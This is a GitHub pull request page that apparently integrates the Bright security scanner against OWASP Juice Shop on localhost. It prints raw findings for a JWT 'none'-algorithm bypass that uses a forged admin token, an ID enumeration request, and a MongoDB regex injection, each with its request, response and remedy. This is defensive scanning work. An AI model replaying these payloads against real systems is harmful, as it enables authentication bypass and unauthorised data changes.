Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
ci: integrate Bright CI for security testing and remediation [166eps, 1-of-6 fixed; unknown integration] #133
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Uh oh!
There was an error while loading. Please reload this page.
ci: integrate Bright CI for security testing and remediation [166eps, 1-of-6 fixed; unknown integration] #133
Changes from all commits
031c77002b58bcf51148e839e02d13af455548342aedc4105eabe1d98d630a1a3870d2df1a96f6531b6e69c6af0File filter
Filter by extension
Conversations
Uh oh!
There was an error while loading. Please reload this page.
Jump to
Uh oh!
There was an error while loading. Please reload this page.
There are no files selected for viewing
Check failure on line 1 in .brightsec/tests/get-rest-chatbot-status.test.ts
.brightsec/tests/get-rest-chatbot-status.test.ts#L1
Raw output
{ "id": "nVb1b9S2W1uRtM6DkTgf8p", "name": "Broken JWT Authentication", "severity": "High", "labels": [], "assigneeIds": [], "comments": [], "status": "recurring", "occurrences": 50, "lastReported": "2025-08-27T20:33:58.015Z", "discoveredAt": null, "resolvedAt": null, "createdAt": "2025-08-27T20:33:58.048Z", "url": "http://127.0.0.1:3000/rest/chatbot/status", "host": "127.0.0.1:3000", "method": "GET", "protocol": "http", "originalRequest": { "method": "GET", "url": "http://127.0.0.1:3000/rest/chatbot/status", "headers": { "x-recruiting": "We are hiring! Visit our careers page for more information.", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgzNH0.ImMpROp0eyLNlj5okFKxpcAaiRRdZoq75UFbMEIYToW8DVe_r9qgZoyL6FRQJmkpsvZ6k2tqbNIsqnoGShmL69Mdnh3V6884Wu7toWT2rHhr1NUK-lkCtaTi9eOEH3sHsI25RHBkTZpmLj7hxetVRsQaDWY2Mzm2ZqCn-gQSdYg", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgzNH0.ImMpROp0eyLNlj5okFKxpcAaiRRdZoq75UFbMEIYToW8DVe_r9qgZoyL6FRQJmkpsvZ6k2tqbNIsqnoGShmL69Mdnh3V6884Wu7toWT2rHhr1NUK-lkCtaTi9eOEH3sHsI25RHBkTZpmLj7hxetVRsQaDWY2Mzm2ZqCn-gQSdYg", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" } }, "request": { "method": "GET", "url": "http://127.0.0.1:3000/rest/chatbot/status", "headers": { "x-recruiting": "We are hiring! Visit our careers page for more information.", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgzNH0.ImMpROp0eyLNlj5okFKxpcAaiRRdZoq75UFbMEIYToW8DVe_r9qgZoyL6FRQJmkpsvZ6k2tqbNIsqnoGShmL69Mdnh3V6884Wu7toWT2rHhr1NUK-lkCtaTi9eOEH3sHsI25RHBkTZpmLj7hxetVRsQaDWY2Mzm2ZqCn-gQSdYg", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgzNH0.", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" } }, "response": { "headers": { "access-control-allow-origin": "*", "x-content-type-options": "nosniff", "x-frame-options": "SAMEORIGIN", "feature-policy": "payment 'self'", "x-recruiting": "/#/jobs", "content-type": "application/json; charset=utf-8", "content-length": "88", "etag": "W/\"58-m8V3FIrSL224h1kPmtYx3djkb90\"", "vary": "Accept-Encoding", "date": "Wed, 27 Aug 2025 20:33:57 GMT", "Connection": "close", "Cache-Control": "public, max-age=99999" }, "body": "{\"action\":\"namequery\",\"body\":\"I'm sorry I didn't get your name. What shall I call you?\"}", "bodyUrl": null, "status": 200 }, "entryPointId": "tyd131qD3wkZVMQ2o9Uzp4", "tickets": [], "externalIssues": [], "issues": [ { "scanId": "hgonAY9rpXCv5AkyB31qTD", "issueId": "nVb1b9S2W1uRtM6DkTgf8p", "createdAt": "2025-08-27T20:33:58.086Z" } ], "details": "A vulnerability was found in a JSON Web Token (JWT).\nJWT vulnerabilities enable an attacker to authenticate themselves as other users, leak information or leverage user access levels.\nValidation of a None algorithm was detected, which was triggered by switching an algorithm to None.", "remedy": "This can be fixed by enforcing verification by using the same algorithm as used for encryption.", "exposure": "Gain Privileges or Assume Identity; Bypass Protection Mechanism; Bypassing Authentication Mechanism", "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cwe": "CWE-287", "resources": [ "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html", "https://docs.brightsec.com/docs/broken-jwt-authentication" ], "screenshots": [], "lastScanId": "hgonAY9rpXCv5AkyB31qTD", "projectId": "eDr1yEcB24cZ51qtsE7hy4", "projectIssueId": "i343Bkx8QAnyjv38TtmiMJ", "certainty": true, "scanIds": [ "hgonAY9rpXCv5AkyB31qTD" ], "issueIds": [ "nVb1b9S2W1uRtM6DkTgf8p" ], "scanId": "hgonAY9rpXCv5AkyB31qTD", "time": "2025-08-27T20:33:58.015Z", "type": "Broken JWT Authentication", "solved": false, "link": "https://app.brightsec.com/scans/hgonAY9rpXCv5AkyB31qTD/issues/nVb1b9S2W1uRtM6DkTgf8p" }Check failure on line 1 in .brightsec/tests/post-api-addresss.test.ts
.brightsec/tests/post-api-addresss.test.ts#L1
Raw output
{ "id": "2ty443ANpCjtfH2dAQdYA1", "name": "[BL] ID Enumeration", "severity": "High", "labels": [], "assigneeIds": [], "comments": [], "status": "recurring", "occurrences": 44, "lastReported": "2025-08-27T20:33:42.244Z", "discoveredAt": null, "resolvedAt": null, "createdAt": "2025-08-27T20:33:42.287Z", "url": "http://127.0.0.1:3000/api/Addresss", "host": "127.0.0.1:3000", "method": "POST", "protocol": "http", "originalRequest": { "method": "POST", "url": "http://127.0.0.1:3000/api/Addresss", "headers": { "content-type": "application/json", "Content-Length": "154", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMn0.UnjxVpA_5E9G9HHBG1y9NI-O7UJmb-CDry5OwbGMgZQxH-_HAuKJgQDzwEi-9YgZM9EM0E62vcL4LcN2Y7DU0zQhwcLtvW2OuVO_ZGjV1decY-dyyFGxO4-bR_bFUARvwP1aAtyvz_8uXdspIfFiTIDKOICPK7LwUUaqGb_-1yk", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMn0.UnjxVpA_5E9G9HHBG1y9NI-O7UJmb-CDry5OwbGMgZQxH-_HAuKJgQDzwEi-9YgZM9EM0E62vcL4LcN2Y7DU0zQhwcLtvW2OuVO_ZGjV1decY-dyyFGxO4-bR_bFUARvwP1aAtyvz_8uXdspIfFiTIDKOICPK7LwUUaqGb_-1yk", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" }, "body": "{\"UserId\":1,\"fullName\":\"John Doe\",\"mobileNum\":1234567890,\"zipCode\":\"12345\",\"streetAddress\":\"123 Main St\",\"city\":\"Metropolis\",\"state\":\"NY\",\"country\":\"USA\"}" }, "request": { "method": "POST", "url": "http://127.0.0.1:3000/api/Addresss", "headers": { "content-type": "application/json", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMn0.UnjxVpA_5E9G9HHBG1y9NI-O7UJmb-CDry5OwbGMgZQxH-_HAuKJgQDzwEi-9YgZM9EM0E62vcL4LcN2Y7DU0zQhwcLtvW2OuVO_ZGjV1decY-dyyFGxO4-bR_bFUARvwP1aAtyvz_8uXdspIfFiTIDKOICPK7LwUUaqGb_-1yk", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMn0.UnjxVpA_5E9G9HHBG1y9NI-O7UJmb-CDry5OwbGMgZQxH-_HAuKJgQDzwEi-9YgZM9EM0E62vcL4LcN2Y7DU0zQhwcLtvW2OuVO_ZGjV1decY-dyyFGxO4-bR_bFUARvwP1aAtyvz_8uXdspIfFiTIDKOICPK7LwUUaqGb_-1yk", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36", "Content-Length": "154" }, "body": "{\"UserId\":0,\"fullName\":\"John Doe\",\"mobileNum\":1234567890,\"zipCode\":\"12345\",\"streetAddress\":\"123 Main St\",\"city\":\"Metropolis\",\"state\":\"NY\",\"country\":\"USA\"}" }, "response": { "headers": { "access-control-allow-origin": "*", "x-content-type-options": "nosniff", "x-frame-options": "SAMEORIGIN", "feature-policy": "payment 'self'", "x-recruiting": "/#/jobs", "location": "/api/Addresss/21", "content-type": "application/json; charset=utf-8", "content-length": "268", "etag": "W/\"10c-XgivqmGYCK7oo1jxIM/+AH9kSpE\"", "vary": "Accept-Encoding", "date": "Wed, 27 Aug 2025 20:33:42 GMT", "Connection": "close", "Cache-Control": "public, max-age=99999" }, "body": "{\"status\":\"success\",\"data\":{\"id\":21,\"UserId\":1,\"fullName\":\"John Doe\",\"mobileNum\":1234567890,\"zipCode\":\"12345\",\"streetAddress\":\"123 Main St\",\"city\":\"Metropolis\",\"state\":\"NY\",\"country\":\"USA\",\"updatedAt\":\"2025-08-27T20:33:42.222Z\",\"createdAt\":\"2025-08-27T20:33:42.222Z\"}}", "bodyUrl": null, "status": 201 }, "entryPointId": "jYAkKgquEh7kLhubMeXCpe", "tickets": [], "externalIssues": [], "issues": [ { "scanId": "92WSCQi3dJ7xqPwVTHX77Q", "issueId": "2ty443ANpCjtfH2dAQdYA1", "createdAt": "2025-08-27T20:33:42.361Z" } ], "details": "This vulnerability allows an attacker to enumerate valid object IDs by observing the application's response to requests with valid and invalid object IDs. This information can be used to identify valid object accounts and potentially gain unauthorized access to sensitive information. An attacker can use this vulnerability to identify valid object accounts and potentially gain unauthorized access to sensitive information.", "remedy": "Ensure that the application verify the user's identity before returning any information about the object. Make sure that authorization checks are performed on the server side and that the application does not return any information about the object if the user is not authorized to access it.", "exposure": "Data leakage; Access to unauthorized information", "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cwe": "CWE-639", "resources": [ "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account" ], "screenshots": [], "lastScanId": "92WSCQi3dJ7xqPwVTHX77Q", "projectId": "eDr1yEcB24cZ51qtsE7hy4", "projectIssueId": "349jHHzthhSTX7mojFFXTE", "certainty": true, "scanIds": [ "92WSCQi3dJ7xqPwVTHX77Q" ], "issueIds": [ "2ty443ANpCjtfH2dAQdYA1" ], "scanId": "92WSCQi3dJ7xqPwVTHX77Q", "time": "2025-08-27T20:33:42.244Z", "type": "[BL] ID Enumeration", "solved": false, "link": "https://app.brightsec.com/scans/92WSCQi3dJ7xqPwVTHX77Q/issues/2ty443ANpCjtfH2dAQdYA1" }Check failure on line 1 in .brightsec/tests/post-rest-products-reviews.test.ts
.brightsec/tests/post-rest-products-reviews.test.ts#L1
Raw output
{ "id": "vSFipMD7AH8xPiwj3JYmm9", "name": "MongoDB Injection", "severity": "Critical", "labels": [], "assigneeIds": [], "comments": [], "status": "recurring", "occurrences": 14, "lastReported": "2025-08-27T20:33:36.206Z", "discoveredAt": null, "resolvedAt": null, "createdAt": "2025-08-27T20:33:37.034Z", "url": "http://127.0.0.1:3000/rest/products/reviews", "host": "127.0.0.1:3000", "method": "POST", "protocol": "http", "originalRequest": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Content-Length": "33", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" }, "body": "{\"id\":\"507f1f77bcf86cd799439011\"}" }, "request": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36", "Content-Length": "22" }, "body": "{\"id\":{\"$regex\":\".*\"}}" }, "response": { "headers": { "access-control-allow-origin": "*", "x-content-type-options": "nosniff", "x-frame-options": "SAMEORIGIN", "feature-policy": "payment 'self'", "x-recruiting": "/#/jobs", "content-type": "application/json; charset=utf-8", "content-length": "451", "etag": "W/\"1c3-Jaq2tdkUPAmse1TjTsSY/KJ6gv8\"", "vary": "Accept-Encoding", "date": "Wed, 27 Aug 2025 20:33:36 GMT", "Connection": "close", "Cache-Control": "public, max-age=99999" }, "body": "{\"modified\":1,\"original\":[{\"message\":\"Here yo' learn how tha fuck ta not show yo' goddamn phone on camera!\",\"author\":\"mc.safesearch@juice-sh.op\",\"product\":36,\"likesCount\":2,\"likedBy\":[\"admin@juice-sh.op\"],\"_id\":\"2vwt9WHFpgtYsvfdg\"}],\"updated\":[{\"message\":\"Here yo' learn how tha fuck ta not show yo' goddamn phone on camera!\",\"author\":\"mc.safesearch@juice-sh.op\",\"product\":36,\"likesCount\":2,\"likedBy\":[\"admin@juice-sh.op\"],\"_id\":\"2vwt9WHFpgtYsvfdg\"}]}", "bodyUrl": null, "status": 200 }, "entryPointId": "eDqe1J6GLoLfNeXen9RqSe", "tickets": [], "externalIssues": [], "issues": [ { "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "issueId": "vSFipMD7AH8xPiwj3JYmm9", "createdAt": "2025-08-27T20:33:37.128Z" } ], "details": "The target application fails to properly validate user input before using it in a MongoDB query. This allows an attacker to inject MongoDB query language syntax into the input fields, which can lead to a variety of attacks.", "remedy": "Ensure that all user input is properly validated and sanitized before being used in a MongoDB query. Use parameterized queries or prepared statements to prevent injection attacks.", "exposure": "Bypass Protection Mechanism; Read Application Data; Modify Application Data", "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cwe": "CWE-284", "resources": [ "https://cwe.mitre.org/data/definitions/943.html", "https://www.owasp.org/index.php/Testing_for_NoSQL_injection" ], "screenshots": [], "lastScanId": "5tFcdWtDDHpbGyxFtAzTqR", "projectId": "eDr1yEcB24cZ51qtsE7hy4", "projectIssueId": "fqsuwScmDZ9e8aKaKkEpxP", "certainty": false, "scanIds": [ "5tFcdWtDDHpbGyxFtAzTqR" ], "issueIds": [ "vSFipMD7AH8xPiwj3JYmm9" ], "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "time": "2025-08-27T20:33:36.206Z", "type": "MongoDB Injection", "solved": false, "link": "https://app.brightsec.com/scans/5tFcdWtDDHpbGyxFtAzTqR/issues/vSFipMD7AH8xPiwj3JYmm9" }Check failure on line 1 in .brightsec/tests/post-rest-products-reviews.test.ts
.brightsec/tests/post-rest-products-reviews.test.ts#L1
Raw output
